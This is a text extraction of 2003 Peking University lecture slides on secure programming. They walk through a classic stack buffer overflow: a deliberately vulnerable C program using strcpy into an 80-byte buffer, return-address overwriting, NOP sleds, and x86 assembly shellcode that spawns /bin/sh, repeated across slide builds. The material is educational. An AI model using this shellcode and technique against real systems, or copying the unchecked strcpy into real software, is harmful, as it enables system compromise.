1.49k likes | 1.61k Vues
网络与信息安全课程. 安全程序设计. 唐礼勇 tly@infosec.pku.edu.cn. 2003/5/21 北京大学. 现实中的一些安全问题. 现实中的一些安全问题. 我的 口令就是我的用户名后加上 123. 现实中的一些安全问题. 我的 口令就是我的用户名后加上 123. 我的口令是 Q47pY!3 ,每隔 90 天就更换一次. 现实中的一些安全问题. 强而有效的不可破解的加密技术随处均可得 到(尽管有各种各样的进出口限制) 不攻击加密技术,攻击其应用的底层基础设施 不攻击加密技术,攻击其实现 不攻击加密技术,而从用户方面入手.
E N D
网络与信息安全课程 安全程序设计 唐礼勇 tly@infosec.pku.edu.cn 2003/5/21 北京大学
现实中的一些安全问题 我的 口令就是我的用户名后加上123
现实中的一些安全问题 我的 口令就是我的用户名后加上123 我的口令是Q47pY!3,每隔90天就更换一次
现实中的一些安全问题 • 强而有效的不可破解的加密技术随处均可得 到(尽管有各种各样的进出口限制) • 不攻击加密技术,攻击其应用的底层基础设施 • 不攻击加密技术,攻击其实现 • 不攻击加密技术,而从用户方面入手
Why Security is Harder than it Looks • 所有软件都是有错的 • 通常情况下99.99%无错的程序很少会出问题 • 同安全相关的99.99%无错的程序可以确信会被人利用那0.01%的错误 • 0.01%安全问题等于100%的失败
从几个程序谈起 Burning yourself with malicious data
程序运行平台 • Redhat Linux 8.0 • Kernel 2.4.18 • GNU gcc 3.2
第一个程序 #include <stdio.h> #include <string.h> void SayHello(char* name) { char tmpName[80]; strcpy(tmpName, name); /* Do some checks for tmpName. */ printf("Hello %s\n", tmpName); } int main(int argc, char** argv) { if (argc != 2) { printf("Usage: hello <name>.\n"); return 1; } SayHello(argv[1]); return 0; } hello.c
运行情况 $ ./hello computer Hello computer hello.c
运行情况 $ ./hello computer Hello computer $ ./hello aaaa………………………………………………………….a Hello aaaa……………………………………………………………….a Segmentation fault (core dumped) hello.c
运行情况 $ ./hello computer Hello computer $ ./hello aaaa………………………………………………………….a Hello aaaa……………………………………………………………….a Segmentation fault (core dumped) Why???? hello.c
检查一下程序 #include <stdio.h> #include <string.h> void SayHello(char* name) { char tmpName[80]; strcpy(tmpName, name); /* Do some checks for tmpName. */ printf("Hello %s\n", tmpName); } int main(int argc, char** argv) { if (argc != 2) { printf("Usage: hello <name>.\n"); return 1; } SayHello(argv[1]); return 0; } hello.c
进一步思考…… 发生了什么事?
几个要点 • Linux及其它几乎所有Intel x86系统、Solaris, etc • 分页式存储管理 • 平面内存结构,4GB或更大逻辑地址空间 • 栈从下往上生长 • C语言不进行边界检查
0x00000000 代码区 数据区 堆 栈段 字符串向下生长 栈段向上生长 0xFFFFFFFF 进程内存布局
ESP main函数局部变量区 lastfp retip argc argv env …... 调用SayHello之前的栈 main栈帧
进入SayHello后的栈 ESP tmpName[80] main-fp retip name main栈帧 …... SayHello栈帧
main中return 0; 准备退出SayHello的栈(情况1) ./hello computer ESP computer.………….. main-fp retip name main栈帧 …... SayHello栈帧
retip 准备退出SayHello的栈(情况2) ./hello aaaaaa……………………………….a ESP aaaaaaaaaaaaaaaaaa ……aaaaaaaa 0x61616161 0x61616161 0x61616161 main栈帧 …... SayHello栈帧 ???????
retip 如果精心选择数据……... ESP SayHello栈帧
retip 0xNNNNNNNN 如果精心选择数据……... ESP ??????????????????? ………..???? 0x???????? 0xNNNNNNNN 0x???????? ………... ………... ………... SayHello栈帧
retip 0xNNNNNNNN 如果精心选择数据……... ESP ??????????????????? ………..???? 0x???????? 0xNNNNNNNN 0x???????? ………... ………... Our-Codes SayHello栈帧
如何选择这些数据? • 几个问题: • SayHello函数局部变量区大小?
如何选择这些数据? • 几个问题: • SayHello函数局部变量区大小? • NNNNNNNN如何确定?
如何选择这些数据? • 几个问题: • SayHello函数局部变量区大小? • NNNNNNNN如何确定? • Our codes该怎样写
如何选择这些数据? • 几个问题: • SayHello函数局部变量区大小? • NNNNNNNN如何确定? • Our codes该怎样写 • 输入缓冲区不能包含0
retip 0xNNNNNNNN 局部变量区问题 ESP ??????????????????? ………..???? 0x???????? 0xNNNNNNNN 0x???????? ………... ………... Our-Codes SayHello栈帧
retip 0xNNNNNNNN 局部变量区问题 ESP 0xNNNNNNNN ………..NNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN Our-Codes SayHello栈帧
retip 0xNNNNNNNN 代码起始地址如何确定? <4K ESP 0xNNNNNNNN ………..NNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN Our-Codes SayHello栈帧
代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移
代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确
retip 0xNNNNNNNN 为什么偏移不需要精确? ESP 0xNNNNNNNN ………..NNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN 0xNNNNNNNN ……….NNNNN NOP NOP …….. NOP Real-Codes SayHello栈帧
代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢
代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢 • 用同样选项,插入一段代码,重新编译
代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢 • 用同样选项,插入一段代码,重新编译 • 使用调试工具跟踪应用程序
代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢 • 用同样选项,插入一段代码,重新编译 • 使用调试工具跟踪应用程序 • 编一小程序,打印出运行时栈顶位置
代码起始地址如何确定 • 问题已转化为用ESP加上某一偏移 • 该偏移不需要精确 • ESP如何确定呢 • 用同样选项,插入一段代码,重新编译 • 使用调试工具跟踪应用程序 • 编一小程序,打印出运行时栈顶位置 • 在同样环境下,不同进程之间栈位置距离不会太远
jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写
jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写
jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写
jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写 esi == cmd
jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 植入代码如何编写 esi == cmd
jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd 植入代码如何编写 esi == cmd
jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd 植入代码如何编写 esi == cmd
jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd 植入代码如何编写 esi == cmd
jmp label2 label1: pop esi mov [esi+8], esi xor eax, eax mov [esi+7], al mov [esi+12], eax mov al, 0bh mov ebx, esi lea ecx, [esi+8] lea edx, [esi+12] int 80h xor ebx, ebx mov eax, ebx inc eax int 80h label2: call label1 cmd: db “/bin/sh”, 0 esi+8: cmd, 0 植入代码如何编写 esi == cmd